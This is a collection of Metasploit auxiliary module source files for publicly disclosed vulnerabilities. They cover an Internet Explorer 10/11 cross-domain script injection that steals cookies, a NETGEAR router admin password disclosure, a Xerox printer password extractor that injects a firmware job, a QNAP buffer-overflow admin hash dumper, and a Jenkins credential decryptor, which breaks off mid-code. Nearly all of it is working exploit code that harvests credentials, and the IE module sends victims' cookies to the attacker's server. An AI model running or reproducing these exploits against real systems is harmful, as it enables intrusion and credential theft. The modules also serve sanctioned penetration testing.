<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpServer<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => "MS15-018 Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection",<br /> 'Description' => %q{<br /> This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet<br /> Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot<br /> have X-Frame-Options or it will fail). You can also have your own custom JavaScript<br /> by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if<br /> you are behind NAT.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' =><br /> [<br /> 'David Leo', # Original discovery<br /> 'filedescriptor', # PoC<br /> 'joev', # He figured it out really<br /> 'sinn3r' # MSF<br /> ],<br /> 'References' =><br /> [<br /> [ 'CVE', '2015-0072' ],<br /> [ 'OSVDB', '117876' ],<br /> [ 'MSB', 'MS15-018' ],<br /> [ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ],<br /> [ 'URL', 'https://seclists.org/fulldisclosure/2015/Feb/10' ]<br /> ],<br /> 'Platform' => 'win',<br /> 'DisclosureDate' => '2015-02-01'<br /> ))<br /><br /> register_options(<br /> [<br /> OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]),<br /> OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ])<br /> ])<br /> end<br /><br /> def setup<br /> if target_uri !~ /^http/i<br /> raise Msf::OptionValidateError.new(['TARGET_URI'])<br /> end<br /><br /> super<br /> end<br /><br /> def target_uri<br /> datastore['TARGET_URI']<br /> end<br /><br /> def get_html<br /> @html ||= html<br /> end<br /><br /> def ninja_cookie_stealer_name<br /> @ninja ||= "#{Rex::Text.rand_text_alpha(5)}.php"<br /> end<br /><br /> def get_uri(cli=self.cli)<br /> ssl = datastore["SSL"]<br /> proto = (ssl ? "https://" : "http://")<br /> if datastore['URIHOST']<br /> host = datastore['URIHOST']<br /> elsif (cli and cli.peerhost)<br /> host = Rex::Socket.source_address(cli.peerhost)<br /> else<br /> host = srvhost_addr<br /> end<br /><br /> if Rex::Socket.is_ipv6?(host)<br /> host = "[#{host}]"<br /> end<br /><br /> if datastore['URIPORT']<br /> port = ':' + datastore['URIPORT'].to_s<br /> elsif (ssl and datastore["SRVPORT"] == 443)<br /> port = ''<br /> elsif (!ssl and datastore["SRVPORT"] == 80)<br /> port = ''<br /> else<br /> port = ":" + datastore["SRVPORT"].to_s<br /> end<br /><br /> uri = proto + host + port + get_resource<br /><br /> uri<br /> end<br /><br /> def server_uri<br /> @server_uri ||= get_uri<br /> end<br /><br /> def js<br /> datastore['CUSTOMJS'] || %Q|var e = document.createElement('img'); e.src='#{server_uri}/#{ninja_cookie_stealer_name}?data=' + encodeURIComponent(document.cookie);|<br /> end<br /><br /> def html<br /> %Q|<br /><iframe style="display:none" src="#{get_resource}/redirect.php"></iframe><br /><iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe><br /><script><br /> window.onmessage = function(e){ top[1].postMessage(atob("#{Rex::Text.encode_base64(js)}"),"*"); };<br /> var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\\\"\\\\",\\\\"*\\\\")';<br /> top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{get_resource}/sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"');<br /></script><br /> |<br /> end<br /><br /> def run<br /> exploit<br /> end<br /><br /> def extract_cookie(uri)<br /> Rex::Text.uri_decode(uri.to_s.scan(/#{ninja_cookie_stealer_name}\?data=(.+)/).flatten[0].to_s)<br /> end<br /><br /> def on_request_uri(cli, request)<br /> case request.uri<br /> when /redirect\.php/<br /> print_status("Sending redirect")<br /> send_redirect(cli, "#{datastore['TARGET_URI']}")<br /> when /sleep\.php/<br /> sleep(3)<br /> send_response(cli, '')<br /> when /#{ninja_cookie_stealer_name}/<br /> data = extract_cookie(request.uri)<br /> if data.blank?<br /> print_status("The XSS worked, but no cookie")<br /> else<br /> print_status("Got cookie")<br /> print_line(data)<br /> report_note(<br /> :host => cli.peerhost,<br /> :type => 'ie.cookie',<br /> :data => data<br /> )<br /> path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie")<br /> vprint_good("Cookie stored as: #{path}")<br /> end<br /> else<br /> print_status("Sending HTML")<br /> send_response(cli, get_html)<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'NETGEAR Administrator Password Disclosure',<br /> 'Description' => %q{<br /> This module will collect the password for the `admin` user.<br /> The exploit will not complete if password recovery is set on the router.<br /> The password is received by passing the token generated from `unauth.cgi`<br /> to `passwordrecovered.cgi`. This exploit works on many different NETGEAR<br /> products. The full list of affected products is available in the 'References'<br /> section.<br /><br /> },<br /> 'Author' =><br /> [<br /> 'Simon Kenin', # Vuln Discovery, PoC<br /> 'thecarterb' # Metasploit module<br /> ],<br /> 'References' =><br /> [<br /> [ 'CVE', '2017-5521' ],<br /> [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758' ],<br /> [ 'URL', 'https://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],<br /> [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/'],<br /> [ 'URL', 'https://pastebin.com/dB4bTgxz'],<br /> [ 'EDB', '41205']<br /> ],<br /> 'License' => MSF_LICENSE<br /> ))<br /><br /> register_options(<br /> [<br /> OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])<br /> ])<br /> end<br /><br /> # @return substring of 'text', usually a response from a server in this case<br /> def scrape(text, start_trig, end_trig)<br /> text[/#{start_trig}(.*?)#{end_trig}/m, 1]<br /> end<br /><br /> def run<br /> uri = target_uri.path<br /> uri = normalize_uri(uri)<br /> print_status("Checking if #{rhost} is a NETGEAR router")<br /> vprint_status("Sending request to http://#{rhost}/")<br /><br /> # will always call check no matter what<br /> is_ng = check<br /><br /> res = send_request_cgi({ 'uri' => uri })<br /> if res.nil?<br /> print_error("#{rhost} returned an empty response.")<br /> return<br /> end<br /><br /> if is_ng == Exploit::CheckCode::Detected<br /> marker_one = "id="<br /> marker_two = "\""<br /> token = scrape(res.to_s, marker_one, marker_two)<br /> if token.nil?<br /> print_error("#{rhost} is not vulnerable: Token not found")<br /> return<br /> end<br /><br /> if token == '0'<br /> print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")<br /> end<br /> print_status("Token found: #{token}")<br /> vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")<br /><br /> r = send_request_cgi({<br /> 'uri' => "/passwordrecovered.cgi",<br /> 'vars_get' => { 'id' => token }<br /> })<br /><br /> vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")<br /><br /> html = r.get_html_document<br /> raw_html = html.text<br /><br /> username = scrape(raw_html, "Router Admin Username", "Router Admin Password")<br /> password = scrape(raw_html, "Router Admin Password", "You can")<br /> if username.nil? || password.nil?<br /> print_error("#{rhost} returned empty credentials")<br /> return<br /> end<br /> username.strip!<br /> password.strip!<br /><br /> if username.empty? || password.empty?<br /> print_error("No Creds found")<br /> else<br /> print_good("Creds found: #{username}/#{password}")<br /> end<br /> else<br /> print_error("#{rhost} is not vulnerable: Not a NETGEAR device")<br /> end<br /> end<br /><br /> # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response<br /> # This checks the response for that header.<br /> def check<br /><br /> res = send_request_cgi({'uri'=>'/'})<br /> if res.nil?<br /> fail_with(Failure::Unreachable, 'Connection timed out.')<br /> end<br /><br /> # Checks for the `WWW-Authenticate` header in the response<br /> if res.headers["WWW-Authenticate"]<br /> data = res.to_s<br /> marker_one = "Basic realm=\""<br /> marker_two = "\""<br /> model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]<br /> print_good("Router is a NETGEAR router (#{model})")<br /> return Exploit::CheckCode::Detected<br /> else<br /> print_error('Router is not a NETGEAR router')<br /> return Exploit::CheckCode::Safe<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::Tcp<br /> include Msf::Auxiliary::Report<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => 'Xerox Administrator Console Password Extractor',<br /> 'Description' => %q{<br /> This module will extract the management console's admin password from the<br /> Xerox file system using firmware bootstrap injection.<br /> },<br /> 'Author' =><br /> [<br /> 'Deral "Percentx" Heiland',<br /> 'Pete "Bokojan" Arzamendi'<br /> ],<br /> 'License' => MSF_LICENSE<br /> ))<br /><br /> register_options(<br /> [<br /> OptPort.new('RPORT', [true, 'Web management console port for the printer', 80]),<br /> OptPort.new('JPORT', [true, 'Jetdirect port', 9100]),<br /> OptInt.new('TIMEOUT', [true, 'Timeout to wait for printer job to run', 45])<br /> ])<br /> end<br /><br /> def jport<br /> datastore['JPORT']<br /> end<br /><br /> # Time to start the fun<br /> def run<br /> print_status("#{rhost}:#{jport} - Attempting to extract the web consoles admin password...")<br /> return unless write<br /><br /> print_status("#{rhost}:#{jport} - Waiting #{datastore['TIMEOUT']} seconds...")<br /> sleep(datastore['TIMEOUT'])<br /> passwd = retrieve<br /> remove<br /><br /> if passwd<br /> print_good("#{rhost}:#{jport} - Password found: #{passwd}")<br /><br /> loot_name = 'xerox.password'<br /> loot_type = 'text/plain'<br /> loot_filename = 'xerox_password.text'<br /> loot_desc = 'Xerox password harvester'<br /> p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc)<br /> print_good("#{rhost}:#{jport} - Credentials saved in: #{p}")<br /><br /> register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd)<br /><br /> else<br /> print_error("#{rhost}:#{jport} - No credentials extracted")<br /> end<br /> end<br /><br /> # Trigger firmware bootstrap write out password data to URL root<br /> def write<br /> print_status("#{rhost}:#{jport} - Sending print job")<br /> create_print_job = '%%XRXbegin' + "\x0a"<br /> create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0a"<br /> create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0a"<br /> create_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0a"<br /> create_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0a"<br /> create_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0a"<br /> create_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0a"<br /> create_print_job << '%%OID_ATT_DLM_SIGNATURE "8ba01980993f55f5836bcc6775e9da90bc064e608bf878eab4d2f45dc2efca09"' + "\x0a"<br /> create_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0a"<br /> create_print_job << '%%XRXend' + "\x0a\x1f\x8b"<br /> create_print_job << "\x08\x00\x80\xc3\xf6\x51\x00\x03\xed\xcf\x3b\x6e\xc3\x30\x0c\x06"<br /> create_print_job << "\x60\xcf\x39\x05\xe3\xce\x31\x25\xa7\x8e\xa7\x06\xe8\x0d\x72\x05"<br /> create_print_job << "\x45\x92\x1f\x43\x2d\x43\x94\x1b\x07\xc8\xe1\xab\x16\x28\xd0\xa9"<br /> create_print_job << "\x9d\x82\x22\xc0\xff\x0d\x24\x41\x72\x20\x57\x1f\xc3\x5a\xc9\x50"<br /> create_print_job << "\xdc\x91\xca\xda\xb6\xf9\xcc\xba\x6d\xd4\xcf\xfc\xa5\x56\xaa\xd0"<br /> create_print_job << "\x75\x6e\x35\xcf\xba\xd9\xe7\xbe\xd6\x07\xb5\x2f\x48\xdd\xf3\xa8"<br /> create_print_job << "\x6f\x8b\x24\x13\x89\x8a\xd9\x47\xbb\xfe\xb2\xf7\xd7\xfc\x41\x3d"<br /> create_print_job << "\x6d\xf9\x3c\x4e\x7c\x36\x32\x6c\xac\x49\xc4\xef\x26\x72\x98\x13"<br /> create_print_job << "\x4f\x96\x6d\x98\xba\xb1\x67\xf1\x76\x89\x63\xba\x56\xb6\xeb\xe9"<br /> create_print_job << "\xd6\x47\x3f\x53\x29\x57\x79\x75\x6f\xe3\x74\x32\x22\x97\x10\x1d"<br /> create_print_job << "\xbd\x94\x74\xb3\x4b\xa2\x9d\x2b\x73\xb9\xeb\x6a\x3a\x1e\x89\x17"<br /> create_print_job << "\x89\x2c\x83\x89\x9e\x87\x94\x66\x97\xa3\x0b\x56\xf8\x14\x8d\x77"<br /> create_print_job << "\xa6\x4a\x6b\xda\xfc\xf7\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br /> create_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xea\x03\x34\x66\x0b\xc1"<br /> create_print_job << "\x00\x28\x00\x00"<br /><br /> begin<br /> connect(true, 'RPORT' => jport)<br /> sock.put(create_print_job)<br /> rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout<br /> print_error("#{rhost}:#{jport} - Error connecting to #{rhost}")<br /> ensure<br /> disconnect<br /> end<br /> end<br /><br /> def retrieve<br /> print_status("#{rhost}:#{jport} - Retrieving password from #{rhost}")<br /> request = "GET /Praeda.txt HTTP/1.0\r\n\r\n"<br /><br /> begin<br /> connect<br /> sock.put(request)<br /> res = sock.get_once || ''<br /> passwd = res.match(/\r\n\s(.+?)\n/)<br /> return passwd ? passwd[1] : ''<br /> rescue ::EOFError, ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, ::EOFError<br /> print_error("#{rhost}:#{jport} - Error getting password from #{rhost}")<br /> return<br /> ensure<br /> disconnect<br /> end<br /> end<br /><br /> # Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL<br /> def remove<br /> print_status("#{rhost}:#{jport} - Removing print job")<br /> remove_print_job = '%%XRXbegin' + "\x0A"<br /> remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"<br /> remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"<br /> remove_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0A"<br /> remove_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"<br /> remove_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"<br /> remove_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"<br /> remove_print_job << '%%OID_ATT_DLM_SIGNATURE "8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491"' + "\x0A"<br /> remove_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"<br /> remove_print_job << '%%XRXend' + "\x0a\x1f\x8b"<br /> remove_print_job << "\x08\x00\x5d\xc5\xf6\x51\x00\x03\xed\xd2\xcd\x0a\xc2\x30\x0c\xc0"<br /> remove_print_job << "\xf1\x9e\x7d\x8a\x89\x77\xd3\x6e\xd6\xbd\x86\xaf\x50\xb7\xc1\x04"<br /> remove_print_job << "\xf7\x41\xdb\x41\x1f\xdf\x6d\x22\x78\xd2\x93\x88\xf8\xff\x41\x92"<br /> remove_print_job << "\x43\x72\x48\x20\xa9\xf1\x43\xda\x87\x56\x7d\x90\x9e\x95\xa5\x5d"<br /> remove_print_job << "\xaa\x29\xad\x7e\xae\x2b\x93\x1b\x35\x47\x69\xed\x21\x2f\x0a\xa3"<br /> remove_print_job << "\xb4\x31\x47\x6d\x55\xa6\x3f\xb9\xd4\xc3\x14\xa2\xf3\x59\xa6\xc6"<br /> remove_print_job << "\xc6\x57\xe9\xc5\xdc\xbb\xfe\x8f\xda\x6d\xe5\x7c\xe9\xe5\xec\x42"<br /> remove_print_job << "\xbb\xf1\x5d\x26\x53\xf0\x12\x5a\xe7\x1b\x69\x63\x1c\xeb\x39\xd7"<br /> remove_print_job << "\x43\x15\xe4\xe4\x5d\x53\xbb\x7d\x4c\x71\x9d\x1a\xc6\x28\x7d\x25"<br /> remove_print_job << "\xf5\xb5\x0b\x92\x96\x0f\xba\xe7\xf9\x8f\x36\xdf\x3e\x08\x00\x00"<br /> remove_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xc4\x0d\x40\x0a"<br /> remove_print_job << "\x75\xe1\x00\x28\x00\x00"<br /><br /> begin<br /> connect(true, 'RPORT' => jport)<br /> sock.put(remove_print_job)<br /> rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout<br /> print_error("#{rhost}:#{jport} - Error removing print job from #{rhost}")<br /> ensure<br /> disconnect<br /> end<br /> end<br /><br /> def register_creds(service_name, remote_host, remote_port, username, password)<br /> credential_data = {<br /> origin_type: :service,<br /> module_fullname: self.fullname,<br /> workspace_id: myworkspace_id,<br /> private_data: password,<br /> private_type: :password,<br /> username: username<br /> }<br /><br /> service_data = {<br /> address: remote_host,<br /> port: remote_port,<br /> service_name: service_name,<br /> protocol: 'tcp',<br /> workspace_id: myworkspace_id<br /> }<br /><br /> credential_data.merge!(service_data)<br /> credential_core = create_credential(credential_data)<br /><br /> login_data = {<br /> core: credential_core,<br /> status: Metasploit::Model::Login::Status::UNTRIED,<br /> workspace_id: myworkspace_id<br /> }<br /><br /> login_data.merge!(service_data)<br /> create_credential_login(login_data)<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',<br /> 'Description' => %q{<br /> This module exploits combined heap and stack buffer overflows for QNAP<br /> NAS and NVR devices to dump the admin (root) shadow hash from memory via<br /> an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.<br /><br /> A binary search is performed to find the correct offset for the BOFs.<br /> Since the server forks, blind remote exploitation is possible, provided<br /> the heap does not have ASLR.<br /> },<br /> 'Author' => [<br /> 'bashis', # Vuln/PoC<br /> 'wvu', # Module<br /> 'Donald Knuth' # Algorithm<br /> ],<br /> 'References' => [<br /> ['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],<br /> ['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']<br /> ],<br /> 'DisclosureDate' => '2017-01-31',<br /> 'License' => MSF_LICENSE,<br /> 'Actions' => [<br /> ['Automatic', 'Description' => 'Automatic targeting'],<br /> ['x86', 'Description' => 'x86 target', offset: 0x16b2],<br /> ['ARM', 'Description' => 'ARM target', offset: 0x1562]<br /> ],<br /> 'DefaultAction' => 'Automatic',<br /> 'DefaultOptions' => {<br /> 'SSL' => true<br /> }<br /> ))<br /><br /> register_options([<br /> Opt::RPORT(443),<br /> OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),<br /> OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]),<br /> OptInt.new('RETRIES', [true, 'Retry count for the attack', 10])<br /> ])<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => '/cgi-bin/authLogin.cgi'<br /> )<br /><br /> if res && res.code == 200 && (xml = res.get_xml_document)<br /> info = []<br /><br /> %w{modelName version build patch}.each do |node|<br /> info << xml.at("//#{node}").text<br /> end<br /><br /> @target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')<br /> vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")<br /><br /> if Rex::Version.new(info[1]) < Rex::Version.new('4.2.3')<br /> Exploit::CheckCode::Appears<br /> else<br /> Exploit::CheckCode::Detected<br /> end<br /> else<br /> Exploit::CheckCode::Safe<br /> end<br /> end<br /><br /> def run<br /> if check == Exploit::CheckCode::Safe<br /> print_error('Device does not appear to be a QNAP')<br /> return<br /> end<br /><br /> admin_hash = nil<br /><br /> (0..datastore['RETRIES']).each do |attempt|<br /> vprint_status("Retry #{attempt} in progress") if attempt > 0<br /> break if (admin_hash = dump_hash)<br /> end<br /><br /> if admin_hash<br /> print_good("Hopefully this is your hash: #{admin_hash}")<br /> credential_data = {<br /> workspace_id: myworkspace_id,<br /> module_fullname: self.fullname,<br /> username: 'admin',<br /> private_data: admin_hash,<br /> private_type: :nonreplayable_hash,<br /> jtr_format: 'md5crypt'<br /> }.merge(service_details)<br /> create_credential(credential_data)<br /> else<br /> print_error('Looks like we didn\'t find the hash :(')<br /> end<br /><br /> vprint_status("#{@cnt} HTTP requests were sent during module run")<br /> end<br /><br /> def dump_hash<br /> l = datastore['OFFSET_START']<br /> r = datastore['OFFSET_END']<br /><br /> start = Time.now<br /> t = binsearch(l, r)<br /> stop = Time.now<br /><br /> time = stop - start<br /> vprint_status("Binary search of #{l}-#{r} completed in #{time}s")<br /><br /> if action.name == 'Automatic'<br /> target = actions.find do |tgt|<br /> tgt.name == @target<br /> end<br /> else<br /> target = action<br /> end<br /><br /> return if t.nil? || @offset.nil? || target.nil?<br /><br /> offset = @offset - target[:offset]<br /><br /> find_hash(t, offset)<br /> end<br /><br /> def find_hash(t, offset)<br /> admin_hash = nil<br /><br /> # Off by one or two...<br /> 2.times do<br /> t += 1<br /><br /> if (res = send_request(t, [offset].pack('V')))<br /> if (backtrace = find_backtrace(res))<br /> token = backtrace[0].split[4]<br /> end<br /> end<br /><br /> if token && token.start_with?('$1$')<br /> admin_hash = token<br /> addr = "0x#{offset.to_s(16)}"<br /> vprint_status("Admin hash found at #{addr} with offset #{t}")<br /> break<br /> end<br /> end<br /><br /> admin_hash<br /> end<br /><br /> # Shamelessly stolen from Knuth<br /> def binsearch(l, r)<br /> return if l > r<br /><br /> @m = ((l + r) / 2).floor<br /><br /> res = send_request(@m)<br /><br /> return if res.nil?<br /><br /> if find_backtrace(res)<br /> l = @m + 1<br /> else<br /> r = @m - 1<br /> end<br /><br /> binsearch(l, r)<br /><br /> @m<br /> end<br /><br /> def send_request(m, ret = nil)<br /> @cnt = @cnt.to_i + 1<br /><br /> payload = Rex::Text.encode_base64(<br /> Rex::Text.rand_text(1) * m +<br /> (ret ? ret : Rex::Text.rand_text(4))<br /> )<br /><br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => '/cgi-bin/cgi.cgi',<br /> #'vhost' => 'Q',<br /> 'vars_get' => {<br /> 'u' => 'admin',<br /> 'p' => payload<br /> }<br /> )<br /><br /> res<br /> end<br /><br /> def find_backtrace(res)<br /> res.headers.find do |name, val|<br /> if name.include?('glibc detected')<br /> @offset = val.split[-2].to_i(16)<br /> end<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'json'<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(update_info(info,<br /> 'Name' => 'Jenkins Domain Credential Recovery',<br /> 'Description' => %q{<br /> This module will collect Jenkins domain credentials, and uses<br /> the script console to decrypt each password if anonymous permission<br /> is allowed.<br /><br /> It has been tested against Jenkins version 1.590, 1.633, and 1.638.<br /> },<br /> 'Author' =><br /> [<br /> 'Th3R3p0', # Vuln Discovery, PoC<br /> 'sinn3r' # Metasploit<br /> ],<br /> 'References' =><br /> [<br /> [ 'EDB', '38664' ],<br /> [ 'URL', 'https://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ]<br /> ],<br /> 'DefaultOptions' =><br /> {<br /> 'RPORT' => 8080<br /> },<br /> 'License' => MSF_LICENSE<br /> ))<br /><br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),<br /> OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_'])<br /> ])<br /> end<br /><br /><br /> # Returns the Jenkins version.<br /> #<br /> # @return [String] Jenkins version.<br /> # @return [NilClass] No Jenkins version found.<br /> def get_jenkins_version<br /> uri = normalize_uri(target_uri.path)<br /> res = send_request_cgi({ 'uri' => uri })<br /><br /> unless res<br /> fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')<br /> end<br /><br /> html = res.get_html_document<br /> version_attribute = html.at('body').attributes['data-version']<br /> version = version_attribute ? version_attribute.value : ''<br /> version.scan(/jenkins\-([\d\.]+)/).flatten.first<br /> end<br /><br /><br /> # Returns the Jenkins domain configured by the user.<br /> #<br /> # @return [String]<br /> def domain<br /> datastore['JENKINSDOMAIN']<br /> end<br /><br /><br /> # Returns a check code indicating the vulnerable status.<br /> #<br /> # @return [Array] Check code<br /> def check<br /> version = get_jenkins_version<br /> vprint_status("Found version: #{version}")<br /><br /> # Default version is vulnerable, but can be mitigated by refusing anonymous permission on<br /> # decryption API. So a version wouldn't be adequate to check.<br /> if version<br /> return Exploit::CheckCode::Detected<br /> end<br /><br /> Exploit::CheckCode::Safe<br /> end<br /><br /><br /> # Returns all the found Jenkins accounts of a specific domain. The accounts collected only<br /> # include the ones with the username-and-password kind. It does not include other kinds such<br /> # as SSH, certificates, or other plugins.<br /> #<br /> # @return [Array<Hash>] An array of account data such as id, username, kind, description, and<br /> # the domain it belongs to.<br /> def get_users<br /> users = []<br /><br /> uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain)<br /> uri << '/'<br /><br /> res = send_request_cgi({ 'uri'=>uri })<br /><br /> unless res<br /> fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')<br /> end<br /><br /> html = res.get_html_document<br /> rows = html.search('//table[@class="sortable pane bigtable"]//tr')<br /><br /> # The first row is the table header, which we don't want.<br /> rows.shift<br /><br /> rows.each do |row|<br /> td = row.search('td')<br /> id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || ''<br /> name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || ''<br /> kind = td[2].text<br /> desc = td[3].text<br /> next unless /Username with password/i === kind<br /><br /> users << {<br /> id: id,<br /> username: name,<br /> kind: kind,<br /> description: desc,<br /> domain: domain<br /> }<br /> end<br /><br /> users<br /> end<br /><br /><br /> # Returns the found encrypted password from the update page.<br /> #<br /> # @param id [String] The ID of a specific account.<br /> #<br /> # @return [String] Found encrypted password.<br /> # @return [NilCass] No encrypted password found.<br /> def get_encrypted_password(id)<br /> uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')<br /> res = send_request_cgi({ 'uri'=>uri })<br /><br /> unless res<br /> fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password')<br /> end<br /><br /> html = res.get_html_document<br /> input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')<br /><br /> if input<br /> return input.attributes['value'].value<br /> else<br /> vprint_error("Unable to find encrypted password for #{id}")<br /> end<br /><br /> nil<br /> end<br /><br /><br /> # Returns the decrypted password by using the script console.<br /> #<br /> # @param encrypted_pass [String] The encrypted password.<br /> #<br /> # @return [String] The decrypted password.<br /> # @return [NilClass] No decrypted password found (no result found on the console)<br /> def decrypt(encrypted_pass)<br /> uri = normalize_uri(target_uri, 'script')<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => uri,<br /> 'vars_post' => {<br /> 'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'",<br /> 'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json,<br /> 'Submit' => 'Run'<br /> }<br /> })<br /><br /> unless res<br /> fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')<br /> end<br /><br /> if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body<br /> vprint_error('No permission to decrypt password')<br /> return nil<br /> end<br /><br /> html = res.get_html_document<br /> result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')<br /> if result<br /> decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first<br /> return decrypted_password<br /> else<br /> vprint_error('Unable to find result')<br /> end<br /><br /> nil<br /> end<br /><br /><br /> # Decrypts an encrypted password for a given ID.<br /> #<br /> # @param id [String] Account ID.<br /> #<br /> # @return [String] The decrypted password.<br /> # @return [NilClass] No decrypted password found (no result found on the console)<br /> def descrypt_password(id)<br /> encrypted_pass = get_encrypted_password(id)<br /> decrypt(encrypted_pass)<br /> end<br /><br /><br /> # Reports the username and password to database.<br /> #<br /> # @param opts [Hash]<br /> # @option opts [String] :user<br /> # @option opts [String] :password<br /> # @option opts [String] :proof<br /> #<br /> # @return [void]<br /> def report_cred(opts)<br /> service_data = {<br /> address: rhost,<br /> port: rport,<br /> service_name: ssl ? 'https' : 'http',<br /> protocol: 'tcp',<br /> workspace_id: myworkspace_id<br /> }<br /><br /> credential_data = 